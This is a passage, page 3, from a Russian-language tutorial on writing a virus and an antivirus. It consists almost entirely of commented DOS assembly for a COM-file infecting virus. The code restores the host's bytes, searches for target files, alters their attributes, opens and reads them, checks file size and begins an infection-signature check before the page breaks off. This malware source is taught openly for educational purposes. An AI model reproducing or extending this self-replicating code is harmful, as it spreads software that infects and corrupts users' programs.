Размер шрифта
-
+

Создаем вирус и антивирус - стр. 3

;адрес сегмента кода программы

assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно

;закрыть – ”code ends”

code segment

;Устанавливаем смещения в сегменте кода.

;Данная строчка обязательна

;для COM−программы (все COM−программы

;начинаются с адреса 100h)

org 100h

start:

;Имитируем зараженный COM−файл.

;Тело вируса начинается с метки la

; jmp la

db 0E9h ;Код команды JMP

dw offset la–offset real

real:

;Выходим из программы

mov ah,4Ch

int 21h

;Здесь начинается тело вируса

la:

;Сохраняем регистры и флаги

pushf

pusha

push ds es

;Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата

call MySelf

MySelf:

pop bp

;Восстанавливаем первые три байта исходной программы

mov al,[bp+(offset bytes_3[0]–offset MySelf)]

mov byte ptr cs:[100h],al

mov al,[bp+(offset bytes_3[1]–offset MySelf)]

mov byte ptr cs:[101h],al

mov al,[bp+(offset bytes_3[2]–offset MySelf)]

mov byte ptr cs:[102h],al

;Дальнейшая задача вируса – найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

Find_First:

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname–offset myself

add dx,bp

mov cx,00100111b

int 21h

;Если файл найден – переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

attributes:

;Читаем оригинальные атрибуты файла

mov ax,4300h

mov dx,9Eh ;Адрес имени файла

int 21h

;Сохраняем оригинальные атрибуты файла

push cx

;Устанавливаем новые атрибуты файла

mov ax,4301h

mov dx,9Eh ;Адрес имени файла

mov cx,20h

int 21h

;Переходим к открытию файла

jmp Open

;Ищем следующий файл, так как предыдущий не подходит

Find_Next:

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh ;Адрес имени файла

pop cx

int 21h

;Закрываем файл

mov ah,3Eh

int 21h

;Ищем следующий файл

mov ah,4Fh

int 21h

;Если файл найден – переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

;Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло –

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf–offset myself

add dx,bp

xor cx,cx ;CX=0

inc cx ;(увеличение на 1) CX=1

int 21h

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла –

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

jne find_next

;Переходим в начало файла

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h

;Читаем первые три байта файла в тело вируса

See_Him2:

mov ah,3Fh

mov dx,offset bytes_3–offset myself

add dx,bp

mov cx,3

int 21h

;Получаем длину файла, для чего переходим в конец файла

Testik:

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

Size_test:

;Сохраняем полученную длину файла

mov [bp+(offset flen−offset MySelf)],ax

;Проверяем длину файла

cmp ax,64000

;Если файл не больше 64000 байт,– переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

jna rich_test

jmp find_next

;Проверим, не заражен ли файл.

;Для этого проверим сигнатуру вируса

Rich_test:

;Переходим в конец файла (на последний байт)

mov ax,4200h

xor cx,cx

mov dx,[bp+(offset flen−offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Страница 3